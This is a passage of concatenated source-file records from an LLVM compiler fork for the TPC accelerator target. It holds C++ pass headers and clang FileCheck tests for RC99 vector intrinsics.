auto DiffCBegin = DiffCoords.lower_bound(TensorId);\n auto DiffCEnd = DiffCoords.upper_bound(TensorId);\n int MaxVal = -1;\n while (DiffCBegin != DiffCEnd) {\n int Diffindex = std::get<0>(DiffCBegin->second);\n int DiffVal = std::get<1>(DiffCBegin->second);\n if (Diffindex == indexit) {\n if (DiffVal > MaxVal) {\n MaxVal = DiffVal;\n }\n }\n DiffCBegin++;\n }\n if (MaxVal >= 0) {\n DiffCoordsStep = MaxVal;\n }\n // index is match we need to compare the Scev\n if (Loopit != nullptr && L == nullptr) {\n if(getScevInfo(Loopit)){\n LoopStep1 = getScevInfo(Loopit)->getSCEVStep();\n }\n LoopStep2 = DiffCoordsStep;\n } else if (Loopit == nullptr && L != nullptr) {\n LoopStep1 = DiffCoordsStep;\n if (getScevInfo(L))\n LoopStep2 = getScevInfo(L)->getSCEVStep();\n // else 2 cases srise\n // either there was a constant update\n // or the loop cannot be processed altogether\n else\n continue;\n }\n if (LoopStep1 < LoopStep2) {\n // Simple remove the null Loop and add the new loop with this index\n TensorCordInfoMap[TensorId].erase(it);\n TensorCordInfoMap.at(TensorId).push_back(\n std::make_tuple(L, index, formula));\n return;\n } else {\n return;\n }\n }\n continue;\n }\n if (indexit == index) {\n // We need to get Max out of the 2 conflicting updates\n if (!getScevInfo(Loopit) || !getScevInfo(L))\n return;\n if (formula.length() > 0) {\n TensorCordInfoMap[TensorId].erase(it);\n TensorCordInfoMap.at(TensorId).push_back(\n std::make_tuple(L, index, formula));\n return;\n }\n if (std::get<2>(*it).length() > 0) {\n return;\n }\n int64_t LoopStep1 = getScevInfo(Loopit)->getSCEVStep();\n int64_t LoopStep2 = getScevInfo(L)->getSCEVStep();\n int64_t MaxLoopSteps = std::max(LoopStep1, LoopStep2);\n if (MaxLoopSteps != LoopStep1) {\n TensorCordInfoMap[TensorId].erase(it);\n TensorCordInfoMap.at(TensorId).push_back(\n std::make_tuple(L, index, formula));\n }\n return;\n } else {\n if (Loopit->getLoopDepth() == L->getLoopDepth()) {\n // Tensor & Loop is same and Index is not same\n continue;\n }\n }\n }\n // New\n if (it == TensorCordInfoMap.at(TensorId).end()) {\n TensorCordInfoMap.at(TensorId).push_back(\n std::make_tuple(L, index, formula));\n }\n }\n\n std::vector<TensorInfo> Input;\n std::vector<TensorInfo> Output;\n std::vector<TensorInfo> Aux;\n std::vector<TensorInfo> GCCustom;\n};\n\nclass TPCIndexGen : public FunctionPass {\npublic:\n static char ID;\n\n TPCIndexGen() : FunctionPass(ID) {\n initializeTPCIndexGenPass(*PassRegistry::getPassRegistry());\n }\n\n void getAnalysisUsage(AnalysisUsage &AU) const override {\n AU.setPreservesCFG();\n AU.addRequired<DominatorTreeWrapperPass>();\n AU.addPreserved<DominatorTreeWrapperPass>();\n AU.addRequired<LoopInfoWrapperPass>();\n AU.addPreserved<LoopInfoWrapperPass>();\n AU.addRequired<ScalarEvolutionWrapperPass>();\n AU.addPreserved<ScalarEvolutionWrapperPass>();\n }\n\nprivate:\n bool runOnFunction(Function &F) override;\n void findTensorLoops(Function &F, bool LoopFlag);\n\n ScalarEvolution *SE;\n LoopInfo *LI;\n SmallVector<Loop *, 8> TensorLoops;\n VectorType *Int5Ty;\n};\n\n#endif // LLVM_TPC_INDEX_SPACE_GEN_CPP_H\n" }, { "alpha_fraction": 0.6165048480033875, "alphanum_fraction": 0.655339777469635, "avg_line_length": 24.75, "blob_id": "4a6443cb086ec073c11061f7c1877343016dcae6", "content_id": "881cfea9028fe5edd352e9e0a05d01f01fe79686", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 206, "license_type": "permissive", "max_line_length": 91, "num_lines": 8, "path": "/clang/test/RC99/main/main-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: not %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none %s 2>&1 | FileCheck %s\n\nvoid main1() \n{\n int a = 7;\n int x = 0;\n}\n// CHECK: error: entry function must be declared in translation unit\n" }, { "alpha_fraction": 0.5795795917510986, "alphanum_fraction": 0.5825825929641724, "avg_line_length": 27.95652198791504, "blob_id": "d8b2ca82ebef8453ba83bb21fb87578506fa0ba8", "content_id": "518b6e5403385ae865bb9f01a6fb21cffb8ce34a", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1332, "license_type": "permissive", "max_line_length": 83, "num_lines": 46, "path": "/llvm/lib/Target/TPC/TPC.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPC.h - Top-level interface for TPC representation --*- C++ -*-===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n//\n// This file contains the entry points for global functions defined in the LLVM\n// TPC back-end.\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_LIB_TARGET_TPC_TPC_H\n#define LLVM_LIB_TARGET_TPC_TPC_H\n\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"llvm/Support/ErrorHandling.h\"\n#include \"llvm/Target/TargetMachine.h\"\n\nnamespace llvm {\n class FunctionPass;\n class TPCTargetMachine;\n class formatted_raw_ostream;\n class AsmPrinter;\n class MCInst;\n class MachineInstr;\n\n enum AddressSpace {\n GENERIC = 0,\n LOCAL_SCALAR = 1,\n LOCAL_VECTOR = 2,\n GLOBAL = 3\n };\n\n FunctionPass *createTPCISelDag(TPCTargetMachine &TM, CodeGenOpt::Level OptLevel);\n// FunctionPass *createTPCDelaySlotFillerPass(TargetMachine &TM);\n\n// void LowerTPCMachineInstrToMCInst(const MachineInstr *MI,\n// MCInst &OutMI,\n// AsmPrinter &AP);\n} // end namespace llvm;\n\n\n#endif\n" }, { "alpha_fraction": 0.427142858505249, "alphanum_fraction": 0.5942857265472412, "avg_line_length": 32.33333206176758, "blob_id": "b8c5d534292d9ffe419792c6739745aa9cc57e9c", "content_id": "91f523148803e9cb2600c067fde5246a4dca0fdb", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1400, "license_type": "permissive", "max_line_length": 102, "num_lines": 42, "path": "/clang/test/RC99/indices.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -triple tpc-none-none -std=rc99 -emit-llvm -O1 %s -o - | FileCheck %s\n\nvoid main(int dest) {\n int5 ndx1;\n ndx1 = 0;\n *(volatile __local int5*)dest = ndx1;\n// CHECK: store volatile <5 x i32> zeroinitializer, <5 x i32> addrspace(1)* %\n\n int5 i1 = {1,2,3,9,8};\n *(volatile __local int5*)dest = i1;\n// CHECK: store volatile <5 x i32> <i32 1, i32 2, i32 3, i32 9, i32 8>, <5 x i32> addrspace(1)* %\n\n int5 i2 = (int5){11, 22, 33, 99, 88};\n *(volatile __local int5*)dest = i2;\n// CHECK: store volatile <5 x i32> <i32 11, i32 22, i32 33, i32 99, i32 88>, <5 x i32> addrspace(1)* %\n\n int5 ndx2;\n ndx2.x = 1;\n ndx2.y = 2;\n ndx2.z = 3;\n ndx2.w = 4;\n ndx2.q = 5;\n *(volatile __local int5*)dest = ndx2;\n// CHECK: store volatile <5 x i32> <i32 1, i32 2, i32 3, i32 4, i32 5>, <5 x i32> addrspace(1)* %\n\n int5 ndx3;\n ndx3.xyz = 11;\n ndx3.s3 = 22;\n ndx3.s4 = 33;\n *(volatile __local int5*)dest = ndx3;\n// CHECK: store volatile <5 x i32> <i32 11, i32 11, i32 11, i32 22, i32 33>, <5 x i32> addrspace(1)* %\n\n int5 ndx4;\n ndx4.xyzwq = ndx3.qwzyx;\n *(volatile __local int5*)dest = ndx4;\n// CHECK: store volatile <5 x i32> <i32 33, i32 22, i32 11, i32 11, i32 11>, <5 x i32> addrspace(1)* %\n\n int5 ndx5;\n ndx5.xyzwq = ndx3.qqwqx;\n *(volatile __local int5*)dest = ndx5;\n// CHECK: store volatile <5 x i32> <i32 33, i32 33, i32 22, i32 33, i32 11>, <5 x i32> addrspace(1)* %\n}\n" }, { "alpha_fraction": 0.44965675473213196, "alphanum_fraction": 0.5087719559669495, "avg_line_length": 23.05504608154297, "blob_id": "629f4746ebba8e2550ddb2bc8ca52538b8e96803", "content_id": "c03c1f329a5870ea875601686f788cc49e8bccbe", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2622, "license_type": "permissive", "max_line_length": 96, "num_lines": 109, "path": "/clang/test/RC99/Intrinsics/v_i1_mov.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck %s\n\n\nvoid main(int dest, int x, int vpredp, _Bool pred) {\n volatile bool256 __local *dest_ptr = (bool256 __local *)dest;\n bool256 __local *vpred_ptr = (bool256 __local *)vpredp;\n\n bool256 vpred = *vpred_ptr++;\n bool256 income = *dest_ptr++;\n\n// CHECK-DAG: ld_l_v [[DEST:%VP[0-9]+]], %S0\n// CHECK-DAG: ld_l_v [[VPRED:%VP[0-9]+]], %S2\n// CHECK-DAG: mov{{.*}}\t[[PRED:%SP[0-9]+]], %S3\n\n // v_i1_mov_flavor_b\n {\n bool256 res = income;\n\n res = v_i1_mov_flavor_b(x, 0, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: mov 0x0 [[DEST]], %S1, [[PRED]]\n\n res = v_i1_mov_flavor_b(x, 1, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: mov 0x1 [[DEST]], %S1, [[PRED]]\n\n res = v_i1_mov_flavor_b(0x55, 6, 0, res, pred, 1);\n *dest_ptr++ = res;\n// CHECK: mov 0x6 [[DEST]], 0x55, ![[PRED]]\n\n res = v_i1_mov_flavor_b(0xAA, 7, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: mov 0x7 [[DEST]], 0xaa, [[PRED]]\n\n income = res;\n }\n\n // v_i1_mov_flavor_vb\n {\n bool256 res = income;\n\n res = v_i1_mov_flavor_vb(x, 0, 0, res, vpred, 0);\n *dest_ptr++ = res;\n// CHECK: mov 0x0 [[DEST]], %S1, [[VPRED]]\n\n res = v_i1_mov_flavor_vb(x, 1, 0, res, vpred, 0);\n *dest_ptr++ = res;\n// CHECK: mov 0x1 [[DEST]], %S1, [[VPRED]]\n\n res = v_i1_mov_flavor_vb(0x55, 6, 0, res, vpred, 1);\n *dest_ptr++ = res;\n// CHECK: mov 0x6 [[DEST]], 0x55, ![[VPRED]]\n\n res = v_i1_mov_flavor_vb(0xAA, 7, 0, res, vpred, 0);\n *dest_ptr++ = res;\n// CHECK: mov 0x7 [[DEST]], 0xaa, [[VPRED]]\n\n income = res;\n }\n\n // v_i1_mov_b\n {\n bool256 res = income;\n bool256 val = *vpred_ptr++;\n// CHECK: ld_l_v [[VAL:%VP[0-9]+]], {{%S[0-9]+}} \n\n res = v_i1_mov_b(val, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: mov [[DEST]], [[VAL]], [[PRED]]\n\n income = res;\n }\n\n // v_i1_mov_vb\n {\n bool256 res = income;\n bool256 val = *vpred_ptr++;\n// CHECK: ld_l_v [[VAL:%VP[0-9]+]], {{%S[0-9]+}} \n\n res = v_i1_mov_vb(val, 0, res, vpred, 0);\n *dest_ptr++ = res;\n// CHECK: mov [[DEST]], [[VAL]], [[VPRED]]\n\n income = res;\n }\n\n // v_i1_mov_i1_b\n {\n bool256 res = income;\n\n res = v_i1_mov_i1_b(pred, 0, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: mov [[DEST]], [[PRED]], [[PRED]]\n\n income = res;\n }\n\n // v_i1_mov_i1_vb\n {\n bool256 res = income;\n\n res = v_i1_mov_i1_vb(pred, 0, res, vpred, 0);\n *dest_ptr++ = res;\n// CHECK: mov [[DEST]], [[PRED]], [[VPRED]]\n\n income = res;\n }\n}\n" }, { "alpha_fraction": 0.6827957034111023, "alphanum_fraction": 0.6835125684738159, "avg_line_length": 26.899999618530273, "blob_id": "9be36755ee5e2013b9c46e2930d92697b27957d5", "content_id": "9009da3fe57de3f16cc95d8bc5b154c462a06e8e", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2790, "license_type": "permissive", "max_line_length": 95, "num_lines": 100, "path": "/llvm/lib/Target/TPC/TPCAliasAnalysis.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCAliasAnalysis --------------------------------------*- C++ -*-===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n/// \\file\n/// This is the TPC address space based alias analysis pass.\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_LIB_TARGET_TPC_TPCALIASANALYSIS_H\n#define LLVM_LIB_TARGET_TPC_TPCALIASANALYSIS_H\n\n#include \"TPC.h\"\n#include \"llvm/ADT/Triple.h\"\n#include \"llvm/Analysis/AliasAnalysis.h\"\n#include \"llvm/IR/Function.h\"\n#include \"llvm/IR/Module.h\"\n#include \"llvm/Pass.h\"\n#include \"llvm/Support/TargetRegistry.h\"\n#include \"llvm/CodeGen/Passes.h\"\n#include \"llvm/CodeGen/TargetPassConfig.h\"\n#include \"llvm/IR/LegacyPassManager.h\"\n#include <algorithm>\n#include <memory>\n\nnamespace llvm {\n\nImmutablePass * createTPCAAWrapperPass();\nvoid initializeTPCAAWrapperPassPass(PassRegistry&);\n\n\nclass DataLayout;\nclass MDNode;\nclass MemoryLocation;\n\n/// A simple AA result that uses TBAA metadata to answer queries.\nclass TPCAAResult : public AAResultBase<TPCAAResult> {\n friend AAResultBase<TPCAAResult>;\n\npublic:\n explicit TPCAAResult() : AAResultBase() {}\n TPCAAResult(TPCAAResult &&Arg)\n : AAResultBase(std::move(Arg)){}\n\n bool invalidate(Function &, const PreservedAnalyses &) { return false; }\n\n AliasResult alias(const MemoryLocation &LocA, const MemoryLocation &LocB, AAQueryInfo &AAQI);\n bool pointsToConstantMemory(const MemoryLocation &Loc, AAQueryInfo &QInfo, bool OrLocal);\n\nprivate:\n AliasResult getAliasResult(unsigned AS1, unsigned AS2) const;\n};\n\n/// Analysis pass providing a never-invalidated alias analysis result.\nclass TPCAA : public AnalysisInfoMixin<TPCAA> {\n friend AnalysisInfoMixin<TPCAA>;\n\n static char PassID;\n\npublic:\n using Result = TPCAAResult;\n\n TPCAAResult run(Function &F, AnalysisManager<Function> &AM) {\n return TPCAAResult();\n }\n};\n\n/// Legacy wrapper pass to provide the TPCAAResult object.\nclass TPCAAWrapperPass : public ImmutablePass {\n std::unique_ptr<TPCAAResult> Result;\n\npublic:\n static char ID;\n\n TPCAAWrapperPass() : ImmutablePass(ID) {\n initializeTPCAAWrapperPassPass(*PassRegistry::getPassRegistry());\n }\n\n TPCAAResult &getResult() { return *Result; }\n const TPCAAResult &getResult() const { return *Result; }\n\n bool doInitialization(Module &M) override {\n Result.reset(new TPCAAResult());\n return false;\n }\n\n bool doFinalization(Module &M) override {\n Result.reset();\n return false;\n }\n\n void getAnalysisUsage(AnalysisUsage &AU) const override;\n};\n\n} // end namespace llvm\n\n#endif // LLVM_LIB_TARGET_TPC_TPCALIASANALYSIS_H\n" }, { "alpha_fraction": 0.42592594027519226, "alphanum_fraction": 0.5347222089767456, "avg_line_length": 36.565216064453125, "blob_id": "167a6572c7ee6aadb7dcd1528bb48ee1319e4606", "content_id": "b0f14249b5c35712f5a24381c7b580afbf75aeef", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 864, "license_type": "permissive", "max_line_length": 103, "num_lines": 23, "path": "/clang/test/RC99/IntrinsicsM/mac/av_i8_mac_v_s_vb.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n\nvoid main(int x0, signed char x1, int dest0, int dest1)\n{\n unsigned a = 1;\n char256 __local *ptr_x0 = (char256 __local *)x0;\n bool256 pred3;\n pred3 = bv_ld_l_v_s_b(a, pred3, 1, 1);\n \n int64 __local *res0 = (int64 __local *)dest0;\n int256 temp_res0 = {0,0,0,0};\n temp_res0 = av_i8_mac_v_s_vb(*ptr_x0, 123, temp_res0, 1, pred3, 0);\n *res0 = temp_res0.v1;\n \n int64 __local *res1 = (int64 __local *)dest1;\n int256 temp_res1 = {0,0,0,0};\n temp_res1 = av_i8_mac_v_s_vb(*ptr_x0, x1, temp_res1, 1, pred3, 0);\n *res1 = temp_res1.v1;\n}\n\n// CHECK-ASM: .globl main\n// CHECK-ASM: mac.i8 st %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %VP{{[0-9]+}}\n// CHECK-ASM: mac.i8 st %A{{[0-9]+}}, %V{{[0-9]+}}, %S{{[0-9]+}}, %VP{{[0-9]+}}\n" }, { "alpha_fraction": 0.5208626389503479, "alphanum_fraction": 0.5677449703216553, "avg_line_length": 51.024391174316406, "blob_id": "d3ffcad6d1b7f69eb5097e304b2687542b9dd213", "content_id": "69b46969943386fcd20c4bdde492d7034f81bbb9", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2133, "license_type": "permissive", "max_line_length": 113, "num_lines": 41, "path": "/clang/test/RC99/restrictions/vect-init.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\n\nstruct ABC {\n int64 v;\n};\n\nvoid main(int dest) {\n int64 f0 = 0;\n int64 f1 = 1;\n int64 f2 = dest;\n int64 f3 = { 0 };\n int64 f4 = { 1 }; // expected-error{{this vector type cannot be initialized element by element}}\n // expected-note@-1{{omit braces to make broadcast}}\n int64 f5 = { dest }; // expected-error{{this vector type cannot be initialized element by element}}\n // expected-note@-1{{omit braces to make broadcast}}\n int64 f6 = { 0, 0 };\n int64 f7 = { 1, 0 }; // expected-error{{this vector type cannot be initialized element by element}}\n int64 f8 = { dest, 0 }; // expected-error{{this vector type cannot be initialized element by element}}\n\n struct ABC s0 = { { 0 } };\n struct ABC s1 = { { 1 } }; // expected-error{{this vector type cannot be initialized element by element}}\n // expected-note@-1{{omit braces to make broadcast}}\n struct ABC s2 = { { 0, 0 } };\n struct ABC s3 = { { 0, 1 } }; // expected-error{{this vector type cannot be initialized element by element}}\n struct ABC s4 = { { dest } }; // expected-error{{this vector type cannot be initialized element by element}}\n // expected-note@-1{{omit braces to make broadcast}}\n struct ABC s5 = { 1 };\n\n int64 a0[2] = { 1 };\n int64 a1[2] = { { 0 } };\n int64 a2[2] = { { 1 } }; // expected-error{{this vector type cannot be initialized element by element}}\n // expected-note@-1{{omit braces to make broadcast}}\n int64 a3[2] = { dest };\n int64 a4[2] = { { dest } }; // expected-error{{this vector type cannot be initialized element by element}}\n // expected-note@-1{{omit braces to make broadcast}}\n int64 a5[2] = { 1, 2 };\n int64 a6[2] = { { 0 }, { 1 } }; // expected-error{{this vector type cannot be initialized element by element}}\n // expected-note@-1{{omit braces to make broadcast}}\n\n int5 idx = { 0, 0, 1 };\n}\n" }, { "alpha_fraction": 0.46399998664855957, "alphanum_fraction": 0.5669999718666077, "avg_line_length": 32.33333206176758, "blob_id": "48e34cc7e7d73184c5e999521451be732fc32d52", "content_id": "5c4db38f281d39bd60a750a0c1ea96cab5d0d896", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1000, "license_type": "permissive", "max_line_length": 105, "num_lines": 30, "path": "/clang/test/RC99/localizer/resolver-09.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -emit-llvm -O1 %s -o - | FileCheck %s \n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O1 %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n\nint gval[4] = { 120, 121, 122, 123 };\n\nvoid main(int x) {\n *(int __local *)x = gval[0];\n}\n\n\n// CHECK: define void @main(i32 %x) {{.*}} {\n// CHECK: store [4 x i32] [i32 120, i32 121, i32 122, i32 123], [4 x i32] addrspace(1)* null\n\n\n// CHECK: !llvm.tpc.scalar_data = !{![[SSZ:[0-9]+]]}\n// CHECK: !llvm.tpc.vector_data = !{![[VSZ:[0-9]+]]}\n// CHECK: ![[SSZ]] = !{i32 16}\n// CHECK: ![[VSZ]] = !{i32 0}\n\n\n// Initialization of global variable\n//\n// CHECK-ASM-DAG: mov.i32 [[REGS0:%S[0-9]+]], 0x78\n// CHECK-ASM-DAG: st_l 0x0, [[REGS0]]\n// CHECK-ASM-DAG: mov.i32 [[REGS1:%S[0-9]+]], 0x79\n// CHECK-ASM-DAG: st_l 0x4, [[REGS1]]\n// CHECK-ASM-DAG: mov.i32 [[REGS2:%S[0-9]+]], 0x7a\n// CHECK-ASM-DAG: st_l 0x8, [[REGS2]]\n// CHECK-ASM-DAG: mov.i32 [[REGS3:%S[0-9]+]], 0x7b\n// CHECK-ASM-DAG: st_l 0xc, [[REGS3]]\n" }, { "alpha_fraction": 0.41541755199432373, "alphanum_fraction": 0.5203425884246826, "avg_line_length": 26.47058868408203, "blob_id": "2bb63f4c8c0c00e75bf23142c70038658b453cae", "content_id": "64172222de214b786ea990030ab95f8785604e3a", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 467, "license_type": "permissive", "max_line_length": 78, "num_lines": 17, "path": "/clang/test/RC99/CodeGen/irf-sub-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\nvoid main(int src, int src1, int src2) {\n int64 val = src;\n int cnt = 0;\n int5 ndx1 = { src, src, src, src, src };\n\n while (cnt > src2) {\n i32_st_tnsr_i_v_b(ndx1, 1, val, 1, 0);\n\n ndx1[0] -= src;\n }\n}\n\n// CHECK: st_tnsr 0x1, [[NDX1:%I[0-9]+]], [[VREG:%V[0-9]+]]\n// CHECK: sub.i32 b00001 [[NDX2:%I[0-9]+]], {{.*}}, [[NDX1]]\n// CHECK: sub.i32 b00001 %I{{[0-9]+}}, 0x0, [[NDX2]]\n" }, { "alpha_fraction": 0.33084747195243835, "alphanum_fraction": 0.4399999976158142, "avg_line_length": 31.77777862548828, "blob_id": "a18ac930ee7bff50cb4f2b8e4b50337319432be6", "content_id": "b146dd797ea0ce662317022c140de0246227ef8b", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1475, "license_type": "permissive", "max_line_length": 78, "num_lines": 45, "path": "/clang/test/RC99/IntrinsicsM/mul/v_i8_mul_b.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\n\nvoid main(char a, char b, int dest, int src, _Bool pred) {\n int256 __local *dptr = (int256 __local *)dest;\n char256 x0 = *(char256 __local *)(src + 0 * 256);\n char256 x1 = *(char256 __local *)(src + 1 * 256);\n int256 res = { 0 };\n\n res = v_i8_mul_b(x0, x1, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n\n res = v_i8_mul_b(x0, x1, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, !%SP{{[0-9]+}}\n\n res = v_i8_mul_b(x0, x1, 0, res, 1, 0);\n *dptr++ = res;\n // CHECK: mul.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n\n res = v_i8_mul_b(x0, a, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, %S0, %SP{{[0-9]+}}\n\n res = v_i8_mul_b(x0, a, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, %S0, !%SP{{[0-9]+}}\n\n res = v_i8_mul_b(x0, a, 0, res, 1, 0);\n *dptr++ = res;\n // CHECK: mul.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, %S0, %SP0\n\n res = v_i8_mul_b(x0, 123, 0, res, pred, 0);\n *dptr++ = res;\n // CHECK: mul.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP{{[0-9]+}}\n\n res = v_i8_mul_b(x0, 123, 0, res, pred, 1);\n *dptr++ = res;\n // CHECK: mul.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, !%SP{{[0-9]+}}\n\n res = v_i8_mul_b(x0, 123, 0, res, 1, 0);\n *dptr++ = res;\n // CHECK: mul.i8 %A{{[0-9]+}}, %V{{[0-9]+}}, 0x7b, %SP0\n}\n" }, { "alpha_fraction": 0.46417444944381714, "alphanum_fraction": 0.5514018535614014, "avg_line_length": 25.75, "blob_id": "0bb93e467886c76051a9cc813733594fea5e97f0", "content_id": "130bba582ff5eed7506cd30b8aee363235bffdd4", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 321, "license_type": "permissive", "max_line_length": 80, "num_lines": 12, "path": "/clang/test/RC99/regression/gaudi-82.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -triple tpc-none-none -std=rc99 -O1 %s -o - | FileCheck %s\n\nvolatile int64 a[10];\n\nvoid main(tensor out, int dest) {\n int64 t = a[5];\n *(int64 __local *)dest = t;\n}\n\n// CHECK: mov.i32 [[REGS:%S[0-9]+]], 0x500\n// CHECK: ld_l_v [[REGV:%V[0-9]+]], [[REGS]], 0x0\n// CHECK: st_l_v %S0, 0x0, [[REGV]]\n" }, { "alpha_fraction": 0.6071645617485046, "alphanum_fraction": 0.6123760342597961, "avg_line_length": 32.385135650634766, "blob_id": "f6ad8b1de1ec97a7952cecb0a884f7f7a72e3c6a", "content_id": "0b3e5fa25b350fddabeee59f1256e69e86ad995f", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 19764, "license_type": "permissive", "max_line_length": 80, "num_lines": 592, "path": "/llvm/lib/Transforms/Scalar/TPCOptUtils.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCOptUtils.h --------------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===-------------------------------------------------------------------===//\n//\n//===-------------------------------------------------------------------===//\n#ifndef LLVM_TRANSFORM_SCALAR_TPC_OPT_UTILS_H\n#define LLVM_TRANSFORM_SCALAR_TPC_OPT_UTILS_H\n\n#include \"llvm/ADT/DenseMap.h\"\n#include \"llvm/ADT/DenseSet.h\"\n#include \"llvm/ADT/SmallVector.h\"\n#include \"llvm/Analysis/LoopInfo.h\"\n#include \"llvm/IR/Instruction.h\"\n#include \"llvm/IR/IntrinsicInst.h\"\n#include \"llvm/IR/IntrinsicsTPC.h\"\n#include \"llvm/Transforms/Utils/UnrollLoop.h\"\n\n#include <sstream>\n#include <unordered_set>\n\nnamespace llvm {\n\n#define DEBUG_TYPE \"tpc-opt-utils\"\n#define TPC_OPT_UTILS_DEBUG(x) \\\n LLVM_DEBUG(dbgs() << \"[TPCOptUtils] \" << x << \"\\n\");\n\nclass InstSequence;\nclass LoadStoreSequence;\n\nusing UFNodeMapType = SmallVector<unsigned, 16>;\n\nusing InstNumMapType = DenseMap<Instruction *, unsigned>;\nusing InstructionVecType = SmallVector<Instruction *, 16>;\nusing InstCloneMapType = DenseMap<Instruction *, Instruction *>;\nusing InstInstMapType = DenseMap<Instruction *, Instruction *>;\nusing InstructionSetType = SmallPtrSet<Instruction *, 16>;\nusing InstructionUSetType = std::unordered_set<Instruction *>;\nusing InstInstVecMapType = DenseMap<Instruction *, InstructionVecType>;\nusing VecInstVecType = SmallVector<InstructionVecType, 8>;\nusing UserSetType = SmallPtrSet<User *, 8>;\nusing InstVecSetType = SmallVector<InstructionSetType, 8>;\nusing BasicBlockVecType = SmallVector<BasicBlock *, 4>;\nusing InstSequenceMapType = DenseMap<Instruction *, InstSequence *>;\nusing InstLoadStoreSeqMapType = DenseMap<Instruction *, LoadStoreSequence *>;\nusing PhiNodeSetType = SmallPtrSet<PHINode *, 4>;\nusing IntrinsicIDSet = DenseSet<Intrinsic::ID>;\n\nenum BlockType {\n Preheader = 0,\n Header = 1,\n Exit = 2,\n // ensure that this is the last enum\n NumBlocks\n};\n\nclass TPCOptUtils {\npublic:\n // check whether the instruction is an intrinsic of the given type\n 